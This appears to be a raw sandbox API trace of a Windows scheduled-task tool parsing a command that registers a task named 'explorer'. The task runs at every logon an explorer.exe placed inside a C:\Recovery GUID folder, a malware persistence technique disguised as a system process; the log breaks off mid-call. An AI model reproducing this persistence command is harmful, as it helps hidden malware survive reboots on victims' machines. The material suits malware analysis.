[0137.944] lstrlenW (lpString="rp") returned 2 [0137.944] lstrlenW (lpString="rp") returned 2 [0137.944] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.944] lstrlenW (lpString="tn") returned 2 [0137.944] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.944] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|rp|") returned 4 [0137.944] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|tn|") returned 4 [0137.944] lstrlenW (lpString="|rp|") returned 4 [0137.944] lstrlenW (lpString="|tn|") returned 4 [0137.944] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0137.944] SetLastError (dwErrCode=0x490) [0137.944] lstrlenW (lpString="sc") returned 2 [0137.944] lstrlenW (lpString="sc") returned 2 [0137.944] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.944] lstrlenW (lpString="tn") returned 2 [0137.944] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.944] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|sc|") returned 4 [0137.944] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|tn|") returned 4 [0137.944] lstrlenW (lpString="|sc|") returned 4 [0137.944] lstrlenW (lpString="|tn|") returned 4 [0137.944] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0137.944] SetLastError (dwErrCode=0x490) [0137.944] lstrlenW (lpString="mo") returned 2 [0137.945] lstrlenW (lpString="mo") returned 2 [0137.945] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.945] lstrlenW (lpString="tn") returned 2 [0137.945] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.945] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|mo|") returned 4 [0137.945] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|tn|") returned 4 [0137.945] lstrlenW (lpString="|mo|") returned 4 [0137.945] lstrlenW (lpString="|tn|") returned 4 [0137.945] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0137.945] SetLastError (dwErrCode=0x490) [0137.945] lstrlenW (lpString="d") returned 1 [0137.945] lstrlenW (lpString="d") returned 1 [0137.945] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.945] lstrlenW (lpString="tn") returned 2 [0137.945] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.945] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|d|") returned 3 [0137.945] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|tn|") returned 4 [0137.945] lstrlenW (lpString="|d|") returned 3 [0137.945] lstrlenW (lpString="|tn|") returned 4 [0137.945] SetLastError (dwErrCode=0x490) [0137.945] lstrlenW (lpString="m") returned 1 [0137.945] lstrlenW (lpString="m") returned 1 [0137.945] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.945] lstrlenW (lpString="tn") returned 2 [0137.945] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.945] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|m|") returned 3 [0137.946] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|tn|") returned 4 [0137.946] lstrlenW (lpString="|m|") returned 3 [0137.946] lstrlenW (lpString="|tn|") returned 4 [0137.946] SetLastError (dwErrCode=0x490) [0137.946] lstrlenW (lpString="i") returned 1 [0137.946] lstrlenW (lpString="i") returned 1 [0137.946] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.946] lstrlenW (lpString="tn") returned 2 [0137.946] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.946] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|i|") returned 3 [0137.946] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|tn|") returned 4 [0137.946] lstrlenW (lpString="|i|") returned 3 [0137.946] lstrlenW (lpString="|tn|") returned 4 [0137.946] SetLastError (dwErrCode=0x490) [0137.946] lstrlenW (lpString="tn") returned 2 [0137.946] lstrlenW (lpString="tn") returned 2 [0137.946] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.946] lstrlenW (lpString="tn") returned 2 [0137.946] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.946] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|tn|") returned 4 [0137.946] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|tn|") returned 4 [0137.946] lstrlenW (lpString="|tn|") returned 4 [0137.946] lstrlenW (lpString="|tn|") returned 4 [0137.946] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0137.946] SetLastError (dwErrCode=0x0) [0137.946] SetLastError (dwErrCode=0x0) [0137.946] lstrlenW (lpString="explorer") returned 8 [0137.946] lstrlenW (lpString="-/") returned 2 [0137.946] StrChrIW (lpStart="-/", wMatch=0x65) returned 0x0 [0137.947] SetLastError (dwErrCode=0x490) [0137.947] SetLastError (dwErrCode=0x490) [0137.947] SetLastError (dwErrCode=0x0) [0137.947] lstrlenW (lpString="explorer") returned 8 [0137.947] StrChrIW (lpStart="explorer", wMatch=0x3a) returned 0x0 [0137.947] SetLastError (dwErrCode=0x490) [0137.947] SetLastError (dwErrCode=0x0) [0137.947] lstrlenW (lpString="explorer") returned 8 [0137.947] SetLastError (dwErrCode=0x0) [0137.947] SetLastError (dwErrCode=0x0) [0137.947] lstrlenW (lpString="/sc") returned 3 [0137.947] lstrlenW (lpString="-/") returned 2 [0137.947] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0137.947] lstrlenW (lpString="create") returned 6 [0137.947] lstrlenW (lpString="create") returned 6 [0137.947] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.947] lstrlenW (lpString="sc") returned 2 [0137.947] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.947] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|create|") returned 8 [0137.947] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|sc|") returned 4 [0137.947] lstrlenW (lpString="|create|") returned 8 [0137.947] lstrlenW (lpString="|sc|") returned 4 [0137.947] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0137.947] SetLastError (dwErrCode=0x490) [0137.947] lstrlenW (lpString="?") returned 1 [0137.947] lstrlenW (lpString="?") returned 1 [0137.947] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.947] lstrlenW (lpString="sc") returned 2 [0137.947] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.948] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|?|") returned 3 [0137.948] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|sc|") returned 4 [0137.948] lstrlenW (lpString="|?|") returned 3 [0137.948] lstrlenW (lpString="|sc|") returned 4 [0137.948] SetLastError (dwErrCode=0x490) [0137.948] lstrlenW (lpString="s") returned 1 [0137.948] lstrlenW (lpString="s") returned 1 [0137.948] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.948] lstrlenW (lpString="sc") returned 2 [0137.948] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.948] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|s|") returned 3 [0137.948] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|sc|") returned 4 [0137.948] lstrlenW (lpString="|s|") returned 3 [0137.948] lstrlenW (lpString="|sc|") returned 4 [0137.948] SetLastError (dwErrCode=0x490) [0137.948] lstrlenW (lpString="u") returned 1 [0137.948] lstrlenW (lpString="u") returned 1 [0137.948] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.948] lstrlenW (lpString="sc") returned 2 [0137.948] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.948] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|u|") returned 3 [0137.948] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|sc|") returned 4 [0137.948] lstrlenW (lpString="|u|") returned 3 [0137.948] lstrlenW (lpString="|sc|") returned 4 [0137.948] SetLastError (dwErrCode=0x490) [0137.948] lstrlenW (lpString="p") returned 1 [0137.949] lstrlenW (lpString="p") returned 1 [0137.949] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.949] lstrlenW (lpString="sc") returned 2 [0137.949] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.949] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|p|") returned 3 [0137.949] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|sc|") returned 4 [0137.949] lstrlenW (lpString="|p|") returned 3 [0137.949] lstrlenW (lpString="|sc|") returned 4 [0137.949] SetLastError (dwErrCode=0x490) [0137.949] lstrlenW (lpString="ru") returned 2 [0137.949] lstrlenW (lpString="ru") returned 2 [0137.949] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.949] lstrlenW (lpString="sc") returned 2 [0137.949] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.949] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|ru|") returned 4 [0137.949] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|sc|") returned 4 [0137.949] lstrlenW (lpString="|ru|") returned 4 [0137.949] lstrlenW (lpString="|sc|") returned 4 [0137.949] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0137.949] SetLastError (dwErrCode=0x490) [0137.949] lstrlenW (lpString="rp") returned 2 [0137.949] lstrlenW (lpString="rp") returned 2 [0137.949] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.949] lstrlenW (lpString="sc") returned 2 [0137.949] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.949] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|rp|") returned 4 [0137.949] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|sc|") returned 4 [0137.950] lstrlenW (lpString="|rp|") returned 4 [0137.950] lstrlenW (lpString="|sc|") returned 4 [0137.950] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0137.950] SetLastError (dwErrCode=0x490) [0137.950] lstrlenW (lpString="sc") returned 2 [0137.950] lstrlenW (lpString="sc") returned 2 [0137.950] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.950] lstrlenW (lpString="sc") returned 2 [0137.950] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.950] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|sc|") returned 4 [0137.950] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|sc|") returned 4 [0137.950] lstrlenW (lpString="|sc|") returned 4 [0137.950] lstrlenW (lpString="|sc|") returned 4 [0137.950] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0137.950] SetLastError (dwErrCode=0x0) [0137.950] SetLastError (dwErrCode=0x0) [0137.950] lstrlenW (lpString="ONLOGON") returned 7 [0137.950] lstrlenW (lpString="-/") returned 2 [0137.950] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0137.950] SetLastError (dwErrCode=0x490) [0137.950] SetLastError (dwErrCode=0x490) [0137.950] SetLastError (dwErrCode=0x0) [0137.950] lstrlenW (lpString="ONLOGON") returned 7 [0137.950] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0137.950] SetLastError (dwErrCode=0x490) [0137.950] SetLastError (dwErrCode=0x0) [0137.950] GetProcessHeap () returned 0x240000 [0137.950] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25d560 [0137.950] _memicmp (_Buf1=0x25d560, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.951] lstrlenW (lpString="ONLOGON") returned 7 [0137.951] GetProcessHeap () returned 0x240000 [0137.951] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x10) returned 0x25d580 [0137.951] lstrlenW (lpString="ONLOGON") returned 7 [0137.951] lstrlenW (lpString=" \x09") returned 2 [0137.951] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0137.951] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0137.951] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0137.951] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0137.951] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0137.951] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0137.951] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0137.951] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0137.951] GetLastError () returned 0x0 [0137.951] lstrlenW (lpString="ONLOGON") returned 7 [0137.951] lstrlenW (lpString="ONLOGON") returned 7 [0137.951] SetLastError (dwErrCode=0x0) [0137.951] SetLastError (dwErrCode=0x0) [0137.951] lstrlenW (lpString="/tr") returned 3 [0137.951] lstrlenW (lpString="-/") returned 2 [0137.951] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0137.951] lstrlenW (lpString="create") returned 6 [0137.951] lstrlenW (lpString="create") returned 6 [0137.951] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.951] lstrlenW (lpString="tr") returned 2 [0137.951] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.951] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|create|") returned 8 [0137.951] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|tr|") returned 4 [0137.951] lstrlenW (lpString="|create|") returned 8 [0137.952] lstrlenW (lpString="|tr|") returned 4 [0137.952] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0137.952] SetLastError (dwErrCode=0x490) [0137.952] lstrlenW (lpString="?") returned 1 [0137.952] lstrlenW (lpString="?") returned 1 [0137.952] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.952] lstrlenW (lpString="tr") returned 2 [0137.952] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.952] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|?|") returned 3 [0137.952] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|tr|") returned 4 [0137.952] lstrlenW (lpString="|?|") returned 3 [0137.952] lstrlenW (lpString="|tr|") returned 4 [0137.952] SetLastError (dwErrCode=0x490) [0137.952] lstrlenW (lpString="s") returned 1 [0137.952] lstrlenW (lpString="s") returned 1 [0137.952] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.952] lstrlenW (lpString="tr") returned 2 [0137.952] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.952] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|s|") returned 3 [0137.952] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|tr|") returned 4 [0137.952] lstrlenW (lpString="|s|") returned 3 [0137.952] lstrlenW (lpString="|tr|") returned 4 [0137.952] SetLastError (dwErrCode=0x490) [0137.952] lstrlenW (lpString="u") returned 1 [0137.952] lstrlenW (lpString="u") returned 1 [0137.952] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.952] lstrlenW (lpString="tr") returned 2 [0137.953] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.953] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|u|") returned 3 [0137.953] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|tr|") returned 4 [0137.953] lstrlenW (lpString="|u|") returned 3 [0137.953] lstrlenW (lpString="|tr|") returned 4 [0137.953] SetLastError (dwErrCode=0x490) [0137.953] lstrlenW (lpString="p") returned 1 [0137.953] lstrlenW (lpString="p") returned 1 [0137.953] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.953] lstrlenW (lpString="tr") returned 2 [0137.953] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.953] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|p|") returned 3 [0137.953] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|tr|") returned 4 [0137.953] lstrlenW (lpString="|p|") returned 3 [0137.953] lstrlenW (lpString="|tr|") returned 4 [0137.953] SetLastError (dwErrCode=0x490) [0137.953] lstrlenW (lpString="ru") returned 2 [0137.953] lstrlenW (lpString="ru") returned 2 [0137.953] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.953] lstrlenW (lpString="tr") returned 2 [0137.953] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.953] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|ru|") returned 4 [0137.953] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|tr|") returned 4 [0137.953] lstrlenW (lpString="|ru|") returned 4 [0137.953] lstrlenW (lpString="|tr|") returned 4 [0137.953] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0137.953] SetLastError (dwErrCode=0x490) [0137.953] lstrlenW (lpString="rp") returned 2 [0137.954] lstrlenW (lpString="rp") returned 2 [0137.954] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.954] lstrlenW (lpString="tr") returned 2 [0137.954] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.954] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|rp|") returned 4 [0137.954] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|tr|") returned 4 [0137.954] lstrlenW (lpString="|rp|") returned 4 [0137.954] lstrlenW (lpString="|tr|") returned 4 [0137.954] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0137.954] SetLastError (dwErrCode=0x490) [0137.954] lstrlenW (lpString="sc") returned 2 [0137.954] lstrlenW (lpString="sc") returned 2 [0137.954] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.954] lstrlenW (lpString="tr") returned 2 [0137.954] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.954] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|sc|") returned 4 [0137.954] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|tr|") returned 4 [0137.954] lstrlenW (lpString="|sc|") returned 4 [0137.954] lstrlenW (lpString="|tr|") returned 4 [0137.954] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0137.954] SetLastError (dwErrCode=0x490) [0137.954] lstrlenW (lpString="mo") returned 2 [0137.954] lstrlenW (lpString="mo") returned 2 [0137.954] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.954] lstrlenW (lpString="tr") returned 2 [0137.954] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.954] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|mo|") returned 4 [0137.955] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|tr|") returned 4 [0137.955] lstrlenW (lpString="|mo|") returned 4 [0137.955] lstrlenW (lpString="|tr|") returned 4 [0137.955] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0137.955] SetLastError (dwErrCode=0x490) [0137.955] lstrlenW (lpString="d") returned 1 [0137.955] lstrlenW (lpString="d") returned 1 [0137.955] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.955] lstrlenW (lpString="tr") returned 2 [0137.955] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.955] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|d|") returned 3 [0137.955] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|tr|") returned 4 [0137.955] lstrlenW (lpString="|d|") returned 3 [0137.955] lstrlenW (lpString="|tr|") returned 4 [0137.955] SetLastError (dwErrCode=0x490) [0137.955] lstrlenW (lpString="m") returned 1 [0137.955] lstrlenW (lpString="m") returned 1 [0137.955] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.955] lstrlenW (lpString="tr") returned 2 [0137.955] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.955] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|m|") returned 3 [0137.955] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|tr|") returned 4 [0137.955] lstrlenW (lpString="|m|") returned 3 [0137.955] lstrlenW (lpString="|tr|") returned 4 [0137.955] SetLastError (dwErrCode=0x490) [0137.955] lstrlenW (lpString="i") returned 1 [0137.955] lstrlenW (lpString="i") returned 1 [0137.955] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.956] lstrlenW (lpString="tr") returned 2 [0137.956] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.956] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|i|") returned 3 [0137.956] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|tr|") returned 4 [0137.956] lstrlenW (lpString="|i|") returned 3 [0137.956] lstrlenW (lpString="|tr|") returned 4 [0137.956] SetLastError (dwErrCode=0x490) [0137.956] lstrlenW (lpString="tn") returned 2 [0137.956] lstrlenW (lpString="tn") returned 2 [0137.956] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.956] lstrlenW (lpString="tr") returned 2 [0137.956] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.956] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|tn|") returned 4 [0137.956] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|tr|") returned 4 [0137.956] lstrlenW (lpString="|tn|") returned 4 [0137.956] lstrlenW (lpString="|tr|") returned 4 [0137.956] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0137.956] SetLastError (dwErrCode=0x490) [0137.956] lstrlenW (lpString="tr") returned 2 [0137.956] lstrlenW (lpString="tr") returned 2 [0137.956] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.956] lstrlenW (lpString="tr") returned 2 [0137.956] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.956] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|tr|") returned 4 [0137.956] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc7c8 | out: _Buffer="|tr|") returned 4 [0137.956] lstrlenW (lpString="|tr|") returned 4 [0137.956] lstrlenW (lpString="|tr|") returned 4 [0137.957] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0137.957] SetLastError (dwErrCode=0x0) [0137.957] SetLastError (dwErrCode=0x0) [0137.957] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'") returned 63 [0137.957] lstrlenW (lpString="-/") returned 2 [0137.957] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0137.957] SetLastError (dwErrCode=0x490) [0137.957] SetLastError (dwErrCode=0x490) [0137.957] SetLastError (dwErrCode=0x0) [0137.957] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'") returned 63 [0137.957] StrChrIW (lpStart="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'", wMatch=0x3a) returned=":\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'" [0137.957] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'") returned 63 [0137.957] _memicmp (_Buf1=0x25c310, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.957] _memicmp (_Buf1=0x25d500, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.957] SetLastError (dwErrCode=0x7a) [0137.957] SetLastError 